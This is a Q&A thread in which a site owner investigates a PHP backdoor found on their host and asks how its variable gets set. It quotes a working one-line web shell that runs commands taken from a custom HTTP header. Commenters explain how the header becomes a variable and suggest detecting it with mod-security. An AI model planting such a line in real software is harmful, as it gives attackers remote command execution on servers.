up vote 1 down vote favorite
share [g+] share [fb]

I've found a php backdoor on my host.

<? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?>

I see requests in access log to that php file were POST requests, but I don't know how the SETENV of that variable was set; could someone explain how such variable can be set and if possible where can I limit/disable setting such variables on server side.

thanks

-H.

link|improve this question
Are you merely investigating this, or do you need to close a security hole by patching the code? – outis Jul 22 '11 at 1:43
@Hrvoje - sorry, this question should never have been migrated here. This is a question about php and security, so if it belongs anywhere on the network it would be at security.se – Mark Henderson♦ Jul 22 '11 at 2:13
im investigating yes; trying to understand how things work; I've put it to coders site but they moved it to server fault ... gah – Hrvoje Špoljar Jul 22 '11 at 10:43
1  
HTTP_ACCEPT_TROLOLO is automatically set by PHP & apache if there's an Accept-Trololo header. you may detect this header for removal with mod-security but the real problem is the presence of the PHP script (as another legacy header could be used) – regilero Jul 22 '11 at 15:59
@regilero: you're the man! thanks a lot. – Hrvoje Špoljar Jul 23 '11 at 1:50
feedback

migrated from stackoverflow.com Jul 22 '11 at 1:49

This question came from our site for professional and enthusiast programmers.

closed as off topic by Mark Henderson♦ Jul 22 '11 at 2:13

Questions on Server Fault are expected to generally relate to servers, networking, or desktop infrastructure, within the scope defined in the faq.

1 Answer

up vote 1 down vote

it was set by apache_setenv();

Search for

apache_setenv("HTTP_ACCEPT_TROL

or

apache_setenv('HTTP_ACCEPT_TROL

and you'll find your answer

link|improve this answer
that may be so; but I see now way how that could be done remotely; hence what is use of backdoor if you can't use it remotely? – Hrvoje Špoljar Jul 22 '11 at 0:34
" and ' ... it can be both – genesis Jul 22 '11 at 0:35
you would maybe get way by telling us that apache env – genesis Jul 22 '11 at 0:36
This question is clearly off topic (it's not programming related in any sense and belongs on serverfault). Please don't answer such questions; it encourages others to post similar off topic questions and clutters the site, making it less effective as a resource. With 5K+ rep, you should be familiar with what's on topic and what's not; if you're not, please read the FAQ so that you are more so. Thanks. :) – Ken White Jul 22 '11 at 0:36
1  
@KenWhite: His question contains PHP code, and it maybe does (not necessary though) belongs to serverfault. It could be just phpcode, or server-side implemention. Nobody knows – genesis Jul 22 '11 at 0:38
feedback

Not the answer you're looking for? Browse other questions tagged or ask your own question.